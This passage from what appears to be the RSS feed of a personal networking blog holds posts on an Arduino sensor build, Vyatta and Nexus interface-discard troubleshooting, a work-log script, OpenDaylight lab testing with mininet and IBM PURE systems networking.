Description This project is a small sensor to monitor Temperature, Humidity, and Light levels. The project may end up in a toy Star Trek TNG Tricorder case at some point in the future, but I wanted to document where it is at a today. Originally I used an Adafruit Huzzah (ESP12) board, but after I determined I wasn’t going to use the wifi, I switched to the Adafruit Adalogger board.</description>
        <content:encoded>&lt;p&gt;&lt;em&gt;This post is some free-ish form notes about a project that is either work in progress or complete.&lt;/em&gt;&lt;/p&gt;
&lt;h2 id=&#34;description&#34;&gt;Description&lt;/h2&gt;
&lt;p&gt;This project is a small sensor to monitor Temperature, Humidity, and Light levels. The project may end up in a toy Star Trek TNG Tricorder case at some point in the future, but I wanted to document where it is at a today. Originally I used an Adafruit Huzzah (ESP12) board, but after I determined I wasn’t going to use the wifi, I switched to the Adafruit Adalogger board. This board has many more analog channels which could be of use for other sensors in the future.&lt;/p&gt;
&lt;p&gt;The choice of resistors and the MINLIGHT and MAXLIGHT values will vary depending on the board in use.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2017-08-23-small-projects-temperature-humidity-and-light-sensor-images/Screen-Shot-2017-08-23-at-14.50.38-224x300.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
&lt;h2 id=&#34;parts&#34;&gt;Parts&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.adafruit.com/product/2796&#34;&gt;Adafruit Feather M0 Adalogger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;AM2302 (eBay)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.adafruit.com/product/326&#34;&gt;Monochrome 0.96″ 128×64 OLED graphic display&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Resistors&lt;/li&gt;
&lt;li&gt;Photo Resistor&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&#34;code&#34;&gt;Code&lt;/h2&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/suidroot/arduino/blob/master/TempHumLumSensor.ino&#34;&gt;https://github.com/suidroot/arduino/blob/master/TempHumLumSensor.ino&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;photo&#34;&gt;Photo&lt;/h2&gt;
&lt;p&gt;This photo is of my current PoC on a breadboard of this project.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;../2017-08-23-small-projects-temperature-humidity-and-light-sensor-images/IMG_0788-225x300.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>electronics</category>
            
          
            
              <category>small projects</category>
            
          
        
        
          
            
              <category>Electronics</category>
            
          
        
        
      </item>
      
      <item>
        <title>Vyatta 5400 and interface inbound discards</title>
        <link>https://ben.the-collective.net/posts/2014-12-16-vyatta-5400-and-interface-inbound-discards/</link>
        <pubDate>Tue, 16 Dec 2014 10:30:02 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Tue, 16 Dec 2014 10:30:02 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2014-12-16-vyatta-5400-and-interface-inbound-discards/</guid>
        <description>Recently I was investigating alerts that were being generated for inbound interface discards on multiple interfaces and multiple Vyatta 5400 devices. There were not any noticeable performance issues on traffic passing through the devices. The discards would report in SNMP, show interface ethernet ethX, and ifconfig outputs. An example show interface ethernet ethX output I was reviewing is below.
vyatta@FW01:~$ sh int ethernet eth0 eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000 link/ether 00:50:56:0x:0x:0x brd ff:ff:ff:ff:ff:ff inet 172.</description>
        <content:encoded>&lt;p&gt;Recently I was investigating alerts that were being generated for inbound interface discards on multiple interfaces and multiple Vyatta 5400 devices. There were not any noticeable performance issues on traffic passing through the devices. The discards would report in SNMP, &lt;code&gt;show interface ethernet ethX&lt;/code&gt;, and &lt;code&gt;ifconfig&lt;/code&gt; outputs. An example &lt;code&gt;show interface ethernet ethX&lt;/code&gt; output I was reviewing is below.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;vyatta@FW01:~$ sh int ethernet eth0
eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UNKNOWN qlen 1000
link/ether 00:50:56:0x:0x:0x brd ff:ff:ff:ff:ff:ff
inet 172.x.x.x/24 brd 172.x.x.x scope global eth0
inet6 fe80::250:56ff:0x:0x/64 scope link
valid_lft forever preferred_lft forever
Last clear: Wed Oct 29 10:55:13 GMT 2014
Description: MGMT
RX: bytes packets errors dropped overrun mcast
   242863    3664      0     163       0     0
TX: bytes packets errors dropped carrier collisions
   128065     701      0       0       0          0
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I was not finding any other statistics that would match up with the quantity of discards being reported. Here are a few of the commands I looked at to look for matching discard counters.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;vyatta@FW01:~$ sh int ethernet eth0 queue
vyatta@FW01:~$ sh int ethernet eth0 statistics
vyatta@FW01:~$ sh queueing
vyatta@FW01:~$ sudo netstat -s
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While researching where to go next I was reminded that the Vyatta 5400 is at it’s heart a Linux device server. I found a few references that beginning in the Linux kernel version 2.6.36 there were more error conditions added to this counter in the kernel.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The rx_dropped counter shows statistics for dropped frames because of: (Beginning with kernel 2.6.37)&lt;br /&gt;
(&lt;a href=&#34;http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=caf586e5f23cebb2a68cbaf288d59dbbf2d74052&#34;&gt;http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=caf586e5f23cebb2a68cbaf288d59dbbf2d74052&lt;/a&gt;)&lt;br /&gt;
Softnet backlog full — (Measured from /proc/net/softnet_stat)&lt;br /&gt;
Bad / Unintended VLAN tags&lt;br /&gt;
Unknown / Unregistered protocols&lt;br /&gt;
IPv6 frames when the server is not configured for IPv6&lt;br /&gt;
If any frames meet those conditions, they are dropped before the protocol stack and the rx_dropped counter is incremented.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;via &lt;a href=&#34;http://www.novell.com/support/kb/doc.php?id=7007165&#34;&gt;http://www.novell.com/support/kb/doc.php?id=7007165&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;When taking a look I found that the version of Vyatta code in use contains the Linux kernel version 3.3.8. The only way to verify if these conditions are causing the counter to increment is to put the interface into promiscuous mode. Since this was a production system I instead looked for neighboring Linux systems in the same subnet, and found they do not report the same level of discards. It appears I found my the reason behind this counter incrementing. This issue looked more urgent as we measure this counter in percentage of packets discarded and this interface does not have much traffic flowing through it. This made the percentages very high which the discarded frames where non-production impacting frames. This issue was a reminder that it is good to remember the underlying Operating System even if it is masked by a custom CLI.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>discards</category>
            
          
            
              <category>monitoring</category>
            
          
            
              <category>networking</category>
            
          
            
              <category>vyatta</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>A meditation on the interface discard counter</title>
        <link>https://ben.the-collective.net/posts/2014-12-08-a-meditation-on-the-interface-discard-counter/</link>
        <pubDate>Mon, 08 Dec 2014 10:15:18 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 08 Dec 2014 10:15:18 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2014-12-08-a-meditation-on-the-interface-discard-counter/</guid>
        <description>I find the interface discard counter a deceptively complex counter. When you ask people what the counter means the usual answer is that you are over running the throughput capability of an interface. Which matched pretty closely to the definition in the IF-MIB SNMP MIB.
The number of inbound packets which were chosen to be discarded even though no errors had been detected to prevent their being deliverable to a higher-layer protocol.</description>
        <content:encoded>&lt;p&gt;I find the interface discard counter a deceptively complex counter. When you ask people what the counter means the usual answer is that you are over running the throughput capability of an interface. Which matched pretty closely to the definition in the IF-MIB SNMP MIB.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;The number of inbound packets which were chosen
to be discarded even though no errors had been
detected to prevent their being deliverable to a
higher-layer protocol.  One possible reason for
discarding such a packet could be to free up
buffer space.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;ifInDiscards : &lt;a href=&#34;https://www.ietf.org/rfc/rfc1213.txt&#34;&gt;https://www.ietf.org/rfc/rfc1213.txt&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The description from the MIB is often the cause of this counter incrementing, however as devices get more powerful and circuits keep increasing in size, this description is becoming less applicable. There are many other issues that have been lumped into this counter, all of these other issues are vendor, platform, and configuration dependent. Some examples I have found are,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ASA Dispatch Unit CPU over utilization&lt;/li&gt;
&lt;li&gt;ASA ACL/ASP packet drops&lt;/li&gt;
&lt;li&gt;QoS on an IOS interface can cause an elevated (purposeful) number of frames dropped&lt;/li&gt;
&lt;li&gt;An ASIC shared between ports on a switch is being over utilized&lt;/li&gt;
&lt;li&gt;L2/L3 packet handling on some Linux kernels and some virtual network platforms&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Looking at this list the interface discard counter starts to look more like a check engine light for a device or interface. As with the check engine light it is important to understand all of the that data your devices are presenting, and build good baselines of the statistics for your system. Ethan Banks has some good thoughts on data baselines in a post titled &lt;a href=&#34;http://ethancbanks.com/2014/11/05/the-importance-of-knowing-baselines/&#34;&gt;The Importance of Knowing Baselines&lt;/a&gt;.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        <media:content url="https://ben.the-collective.net/images/post-images/" medium="image"><media:title type="html">featured image</media:title></media:content>
        
        
        
          
            
              <category>discards</category>
            
          
            
              <category>monitoring</category>
            
          
            
              <category>networking</category>
            
          
            
              <category>snmp</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>Daily work log</title>
        <link>https://ben.the-collective.net/posts/2014-11-03-daily-work-log/</link>
        <pubDate>Mon, 03 Nov 2014 08:15:17 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 03 Nov 2014 08:15:17 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2014-11-03-daily-work-log/</guid>
        <description>Like a lot people I regularly have the problem at the end of a workday or even a workweek answering the question, “What did I do?” let alone what “What did I accomplish?” To find an answer for these questions I have started to keep a daily journal using both an automated report and a manual entry. Between these two entries I tend to have a good idea of what occurred during my workday and work week.</description>
        <content:encoded>&lt;p&gt;Like a lot people I regularly have the problem at the end of a workday or even a workweek answering the question, “What did I do?” let alone what “What did I accomplish?” To find an answer for these questions I have started to keep a daily journal using both an automated report and a manual entry. Between these two entries I tend to have a good idea of what occurred during my workday and work week. The idea to keep a journal was inspired in part by a post over at &lt;a href=&#34;http://www.productivityist.com/blog/taking-journaling-to-another-level&#34;&gt;Productivityist: Taking Journaling to Another Level&lt;/a&gt;. It is useful to note that I am a Mac user so all off the tools that I use and have strung together to generate my automated report are Mac specific. That being said, I have found this this practice to be very helpful in keeping track of what I am or am not accomplishing and use it in concert with my daily and weekly review.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://i0.wp.com/networklog.the-collective.net/wp-content/uploads/2014/11/Screen-Shot-2014-11-01-at-15.44.17.png&#34;&gt;&lt;img src=&#34;../2014-11-03-daily-work-log-images/Screen-Shot-2014-11-01-at-15.44.17.png&#34; alt=&#34;Screen Shot 2014-11-01 at 15.44.17&#34; /&gt;&lt;/a&gt;I started this project by writing the automated script using an AppleScript that glues together all of the various apps I use (Mail.app, Omnifocus, Lync, and Apple Calendar) and generates an automated report of what email I sent, tasks I completed, my scheduled meetings and people I interacted with over IM. There were some limitations on what I could actually pull out of all the various apps, but in the end this is high-level list, if I need more I can the app that has the information I need. I kick off this script when my workday comes to an end and the script will collect all the data and stuff it into a new entry for the day in &lt;a href=&#34;http://dayoneapp.com&#34;&gt;Day One&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After using the script for a while I would still have a lot of those “oh yeah I did XYZ task that day” moments when doing my daily and weekly reviews. The items I was not capturing were items such as phone calls, general thoughts, gripes, or half done tasks that may not show up in any of the apps I collect data from. This eventually led me to keep a daily journal entry in Day One along side my scripts entry. These entries maybe something as simple as a few bullet points I add over the course of the day, or something more detailed along side of the basic thoughts.&lt;/p&gt;
&lt;p&gt;Reviewing these two entries feeds into my own daily and weekly review of my to-do lists to figure out what needs to be put in the list for tomorrow or a later day. A by-product also this simplifies a weekly status I report for my manager. These reports also provide me a view into items that have been touched in the many projects I have running concurrently and random tasks that come in through all of my various inboxes.&lt;/p&gt;
&lt;p&gt;I recommend this practice for anyone, it can help you feel more accomplished, remember those ideas you had that you couldn’t do anything about, and vent about the frustrations. I also find it helps me see what all I have accomplished even when my to-do list does not get smaller or items did not get completed when I planned them to be completed. You can download a copy of my daily script can be found in my Github at,&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;https://github.com/suidroot/workprojects/blob/master/Daily%20Report%20to%20DayOne.scpt&#34;&gt;https://github.com/suidroot/workprojects/blob/master/Daily%20Report%20to%20DayOne.scpt&lt;/a&gt;&lt;br /&gt;
I implore you to not laugh too hard; this script has been hacked together with a lot of twine, glue, and duct tape, and has been my first attempt at AppleScript.&lt;/p&gt;
&lt;p&gt;Footnote: This post was inspired in part by an &lt;a href=&#34;http://www.engadget.com/2014/10/25/irl-day-one/&#34;&gt;Engadget post about DayOne&lt;/a&gt;.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>meta</category>
            
          
            
              <category>personal</category>
            
          
            
              <category>productivity</category>
            
          
        
        
          
            
              <category>Meta</category>
            
          
        
        
      </item>
      
      <item>
        <title>Nexus 7000 and a systematic Bug</title>
        <link>https://ben.the-collective.net/posts/2014-10-20-nexus-7000-and-a-systematic-bug/</link>
        <pubDate>Mon, 20 Oct 2014 10:43:45 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 20 Oct 2014 10:43:45 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2014-10-20-nexus-7000-and-a-systematic-bug/</guid>
        <description>I have been thinking about an old issue that a customer encountered with an pair of Nexus 7000 switches about a year and half ago. When the issue first came onto my radar it was in a bad place, this customer had Nexus 2000 Fabric Extenders that would go offline and eventually the Nexus 7000 would go offline causing some single homed devices to be come in reachable, and in the process broader reachability issues.</description>
        <content:encoded>&lt;p&gt;I have been thinking about an old issue that a customer encountered with an pair of Nexus 7000 switches about a year and half ago. When the issue first came onto my radar it was in a bad place, this customer had Nexus 2000 Fabric Extenders that would go offline and eventually the Nexus 7000 would go offline causing some single homed devices to be come in reachable, and in the process broader reachability issues. This is occurred intermittently which always causes data collection to be complicated. After working with TAC and finally collecting all of the information the the summary of the multiple causes came down the these 5 items.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;1. Fabric extender link become error disabled due to CSCtz01813&lt;br /&gt;
2. Nexus is reloaded to recover from Fabric Extender issue.&lt;br /&gt;
3. After reload ports get stuck in INIT state due to CSCty8102 and failed to come online.&lt;br /&gt;
4. Peer Link, Peer Keep-Alive and VPCs fail to come online since ports are err-disabled from sequence time out.&lt;br /&gt;
5. VPC would go into a split brain state causing SVIs to go into shutdown mode.&lt;br /&gt;
6. Network connectivity is lost until reload of module and ports are brought online.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The summary is two bugs that would get triggered at random times causing a firestorm of confusing outages. The two temporary work arounds to mitigate the problem before we could upgrade the code on the switches was to,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;VPC keep alive link to Admin port on Supervisor.&lt;/li&gt;
&lt;li&gt;Use EEM script to reset a register when a module comes on line.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When thinking about what occurred it is important to remember the Nexus 7000 platform consists of many line cards that each contain an independent “brain” (Forwarding Engine(s) and supporting systems on the line cards) that are connected and orchestrated by the Supervisor module. It is true previous statement was a bit of a simplification, however I find it enigmatic of some of the design challenges you can on the Nexus 7000 platform. For example there are many limitations with Layer 3 routing features and VPC. In the example above it could be said that this sort of complexity can cause safety features such as those build into VPC to cause more harm then good when they encounter an in planned failure scenario. This is different from the Catalyst platform where (for the most part) everything is processed through an central processor.&lt;/p&gt;
&lt;p&gt;Over all the Nexus 7000 system design allows for tightly coupled interactions between the modules, supervisors and even more loosely coupled interactions between chassises. These interactions can allow for the high speed and throughput that can be delivered, however is adds to the complexity of troubleshooting and complex designs. In the end what makes this issue so interesting to me and and why I keep mentally revisiting it is that it is an example of a system failure. Every single cause if occurred individually would have been as greatly problematic but their interactions together caused the observed issue to be many times worse.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Some great Nexus 7000 references&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.ciscolive.com/online/connect/sessionDetail.ww?SESSION_ID=78456&amp;amp;backBtn=true&#34;&gt;BRKARC-3470 – Advanced – Cisco Nexus 7000/7700 Switch Architecture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.cisco.com/c/dam/en/us/td/docs/switches/datacenter/sw/design/vpc_design/vpc_best_practices_design_guide.pdf&#34;&gt;Design and Configuration Guide: Best Practices for Virtual Port Channels (vPC) on Cisco Nexus 7000 Series Switches&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>bugs</category>
            
          
            
              <category>cisco</category>
            
          
            
              <category>networking</category>
            
          
            
              <category>nexus</category>
            
          
            
              <category>nexus 7000</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>My interest of academics of systems</title>
        <link>https://ben.the-collective.net/posts/2014-10-13-my-interest-of-academics-of-systems/</link>
        <pubDate>Mon, 13 Oct 2014 10:17:10 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 13 Oct 2014 10:17:10 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2014-10-13-my-interest-of-academics-of-systems/</guid>
        <description>Lately I’ve been very interested in academic side of computers. Complex systems, Theoretical Computing, and Control Theory are two of my focuses right now. This has come about because I’m getting more interested in how the systems work and how ti measure them, more then how to implement them. My career has been very focus on the implementation then how systems work and can be measured. I’ve never had any sort of formal Computer Science education, making a lot of this new territory to me.</description>
        <content:encoded>&lt;p&gt;Lately I’ve been very interested in academic side of computers. Complex systems, Theoretical Computing, and Control Theory are two of my focuses right now. This has come about because I’m getting more interested in how the systems work and how ti measure them, more then how to implement them. My career has been very focus on the implementation then how systems work and can be measured. I’ve never had any sort of formal Computer Science education, making a lot of this new territory to me. As I dive deeper into these topics I realize how much math I have forgotten over the years. These topics are some of reasons for me to refresh my math skills, however math skills are also analyze sampled data such as monitoring data. A great video discussing data analysis is by Noah Kantrowitz at Monitorama PDX 2014.&lt;/p&gt;
&lt;iframe allowfullscreen=&#34;allowfullscreen&#34; frameborder=&#34;0&#34; height=&#34;281&#34; loading=&#34;lazy&#34; src=&#34;//player.vimeo.com/video/95227467?portrait=0&#34; width=&#34;500&#34;&gt;&lt;/iframe&gt;
&lt;p&gt;&lt;a href=&#34;http://vimeo.com/95227467&#34;&gt;Monitorama PDX 2014 – Noah Kantrowitz&lt;/a&gt; from &lt;a href=&#34;http://vimeo.com/monitorama&#34;&gt;Monitorama&lt;/a&gt; on &lt;a href=&#34;https://vimeo.com&#34;&gt;Vimeo&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Some of the topics I’m learning about are much broader then others. The definitions of these fields of study as defined by their Wikipedia articles are as follows,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Control theory is an interdisciplinary branch of engineering and mathematics that deals with the behavior of dynamical systems with inputs, and how their behavior is modified by feedback.&lt;br /&gt;
&lt;a href=&#34;http://en.wikipedia.org/wiki/Control_theory&#34; title=&#34;Wikipedia: Control Theory&#34;&gt;Wikipedia: Control Theory&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;The field of theoretical computer science is interpreted broadly so as to include algorithms, data structures, computational complexity theory, distributed computation, parallel computation, VLSI, machine learning, computational biology, computational geometry, information theory, cryptography, quantum computation, computational number theory and algebra, program semantics and verification, automata theory, and the study of randomness. Work in this field is often distinguished by its emphasis on mathematical technique and rigor.&lt;br /&gt;
&lt;a href=&#34;http://en.wikipedia.org/wiki/Theoretical_computer_science&#34; title=&#34;Wikipedia: Theoretical Computer Science&#34;&gt;Wikipedia: Theoretical Computer Science&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Complex systems present problems both in mathematical modelling and philosophical foundations. The study of complex systems represents a new approach to science that investigates how relationships between parts give rise to the collective behaviors of a system and how the system interacts and forms relationships with its environment.&lt;br /&gt;
&lt;a href=&#34;http://en.wikipedia.org/wiki/Complex_systems&#34; title=&#34;Wikipedia: Complex Systems&#34;&gt;Wikipedia: Complex Systems  &lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;All of these topics I feel are important as products start to become much simpler and centrally controlled or incredibly complex in their interactions. Algorithms, controls, and data are becoming more and more important to understand.&lt;/p&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>meta</category>
            
          
            
              <category>personal</category>
            
          
        
        
          
            
              <category>Meta</category>
            
          
        
        
      </item>
      
      <item>
        <title>My First OpenDaylight</title>
        <link>https://ben.the-collective.net/posts/2014-08-10-my-first-opendaylight/</link>
        <pubDate>Sun, 10 Aug 2014 16:18:07 -0400</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Sun, 10 Aug 2014 16:18:07 -0400</atom:modified>
        <guid>https://ben.the-collective.net/posts/2014-08-10-my-first-opendaylight/</guid>
        <description>Over the last few days I’ve started to the play with the OpenDaylight Test VM Image. This image is was easy to get up and running and have a playground with mininet and a pre-baked OpenDaylight (ODL) controller to play with. After deploying the OVA file in Virtualbox poking around the file system I got down to “business” with getting a test topology in place. I made some changes to initial mininet configuration startup file to make the topology more complex and changing the startup command to look like the following,</description>
        <content:encoded>&lt;p&gt;Over the last few days I’ve started to the play with the &lt;a href=&#34;https://wiki.opendaylight.org/view/CrossProject:Integration_Group:Test_VMs&#34;&gt;OpenDaylight Test VM Image&lt;/a&gt;. This image is was easy to get up and running and have a playground with &lt;a href=&#34;http://mininet.org&#34;&gt;mininet&lt;/a&gt; and a pre-baked &lt;a href=&#34;https://www.opendaylight.org&#34;&gt;OpenDaylight&lt;/a&gt; (ODL) controller to play with. After deploying the OVA file in Virtualbox poking around the file system I got down to “business” with getting a test topology in place. I made some changes to initial mininet configuration startup file to make the topology more complex and changing the startup command to look like the following,&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo mn --controller &amp;#39;remote,ip=127.0.0.1,port=6633&amp;#39; --topo tree,3
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This yielded a 8 hosts and 7 switches topology. At one point I have 63 hosts and some number of switches things broke pretty hard so I dialed it back a little bit. I want over to the webui for the controller and after some fiddling Names and Tiers on the switches. My test topology in the ODL console is show in the following screenshot.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;../2014-08-10-my-first-opendaylight-images/Screen-Shot-2014-08-10-at-17.06.01.png&#34;&gt;&lt;img src=&#34;../2014-08-10-my-first-opendaylight-images/Screen-Shot-2014-08-10-at-17.06.01.png&#34; alt=&#34;ODL Home&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I also had full reachability from all of the mininet hosts.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mininet&amp;gt; pingall
*** Ping: testing ping reachability
h1 &amp;gt; h2 h3 h4 h5 h6 h7 h8
h2 &amp;gt; h1 h3 h4 h5 h6 h7 h8
h3 &amp;gt; h1 h2 h4 h5 h6 h7 h8
h4 &amp;gt; h1 h2 h3 h5 h6 h7 h8
h5 &amp;gt; h1 h2 h3 h4 h6 h7 h8
h6 &amp;gt; h1 h2 h3 h4 h5 h7 h8
h7 &amp;gt; h1 h2 h3 h4 h5 h6 h8
h8 &amp;gt; h1 h2 h3 h4 h5 h6 h7
*** Results: 0% dropped (56/56 received)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now that I had things working it was time to find ways to break it. Diving into the flow rules I threw together a basic Drop rule on one of the transit links.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;../2014-08-10-my-first-opendaylight-images/Screen-Shot-2014-08-10-at-17.13.32.png&#34;&gt;&lt;img src=&#34;../2014-08-10-my-first-opendaylight-images/Screen-Shot-2014-08-10-at-17.13.32.png&#34; alt=&#34;Flow Rule Split Network&#34; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;As expected the network was split into two.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mininet&amp;gt; pingall
*** Ping: testing ping reachability
h1 &amp;gt; h2 h3 h4 X X X X
h2 &amp;gt; h1 h3 h4 X X X X
h3 &amp;gt; h1 h2 h4 X X X X
h4 &amp;gt; h1 h2 h3 X X X X
h5 &amp;gt; X X X X h6 h7 h8
h6 &amp;gt; X X X X h5 h7 h8
h7 &amp;gt; X X X X h5 h6 h8
h8 &amp;gt; X X X X h5 h6 h7
*** Results: 57% dropped (24/56 received)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Lets see about black holing a single host now.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;../2014-08-10-my-first-opendaylight-images/Screen-Shot-2014-08-10-at-17.13.21.png&#34;&gt;&lt;img src=&#34;../2014-08-10-my-first-opendaylight-images/Screen-Shot-2014-08-10-at-17.13.21.png&#34; alt=&#34;Drop H1&#34; /&gt;&lt;/a&gt; This drops all traffic from the host connected to port 1 on the switch which happens to be h1&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mininet&amp;gt; pingall
*** Ping: testing ping reachability
h1 &amp;gt; X X X X X X X
h2 &amp;gt; X h3 h4 h5 h6 h7 h8
h3 &amp;gt; X h2 h4 h5 h6 h7 h8
h4 &amp;gt; X h2 h3 h5 h6 h7 h8
h5 &amp;gt; X h2 h3 h4 h6 h7 h8
h6 &amp;gt; X h2 h3 h4 h5 h7 h8
h7 &amp;gt; X h2 h3 h4 h5 h6 h8
h8 &amp;gt; X h2 h3 h4 h5 h6 h7
*** Results: 25% dropped (42/56 received)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;OpenDaylight has always peaked my interested, I’ve been trying to follow the mailing lists and some of the discussions out there and the Test VM is a nice way to start to get under the hood. I have a lot more to learn and there are a ton of other plugins to start to explore. Not to mention to start to think about the API and writing some code against it.&lt;/p&gt;
&lt;h2 id=&#34;notes&#34;&gt;Notes&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;If you do not set switch roles properly end hosts my not show up on the topology.&lt;/li&gt;
&lt;li&gt;Flow rule names can not have spaces in them.&lt;/li&gt;
&lt;li&gt;The controller had the Access switches properly classified in the Tier however the transit switches were not set to either Distribution or Core.&lt;/li&gt;
&lt;/ol&gt;
</content:encoded>
        <dc:creator>suidroot</dc:creator>
        
        
        
        
          
            
              <category>networking</category>
            
          
            
              <category>opendaylight</category>
            
          
            
              <category>sdn</category>
            
          
        
        
          
            
              <category>Networking</category>
            
          
        
        
      </item>
      
      <item>
        <title>IBM PURE systems networking</title>
        <link>https://ben.the-collective.net/posts/2013-12-02-ibm-pure-systems-networking/</link>
        <pubDate>Mon, 02 Dec 2013 13:00:04 -0500</pubDate>
        <author>locutus@the-collective.net (Ben Mason)</author>
        <atom:modified>Mon, 02 Dec 2013 13:00:04 -0500</atom:modified>
        <guid>https://ben.the-collective.net/posts/2013-12-02-ibm-pure-systems-networking/</guid>
        <description>To start off I’ll cut past some of the marketing and state that PURE Systems are IBM BladeCenters with some predefined hardware configurations that support both x86 and POWER work loads.
With that being said the advantage to the PURE architecture is the software that IBM has assembled to orchestrate deployments of workloads across all of the integrated platforms. The orchestrator is named Flex System Manager (FSM). The FSM plugs into VMWare for x86, HMC for Power systems and other management system for virtualization platforms.</description>
        <content:encoded>&lt;p&gt;To start off I’ll cut past some of the marketing and state that PURE Systems are IBM BladeCenters with some predefined hardware configurations that support both x86 and POWER work loads.&lt;/p&gt;
&lt;p&gt;With that being said the advantage to the PURE architecture &lt;strong&gt;is&lt;/strong&gt; the software that IBM has assembled to orchestrate deployments of workloads across all of the integrated platforms. The orchestrator is named Flex System Manager (FSM). The FSM plugs into VMWare for x86, HMC for Power systems and other management system for virtualization platforms. The FSM will use these connections to automate deployment of systems and monitoring of the hardware, physical and virtual systems within the PURE System.&lt;/p&gt;
&lt;p&gt;There are many details about the hardware I will not cover but one of the details IBM discusses is the increased speeds and feeds. This is accomplished by interconnections between the Nodes and the I/O Bays, each Node has multiple connection to the I/O Bays. The number of paths grow or shrink by the number of licenses, or as IBM says &lt;em&gt;Pay as you Grow&lt;/em&gt;.&lt;/p&gt;
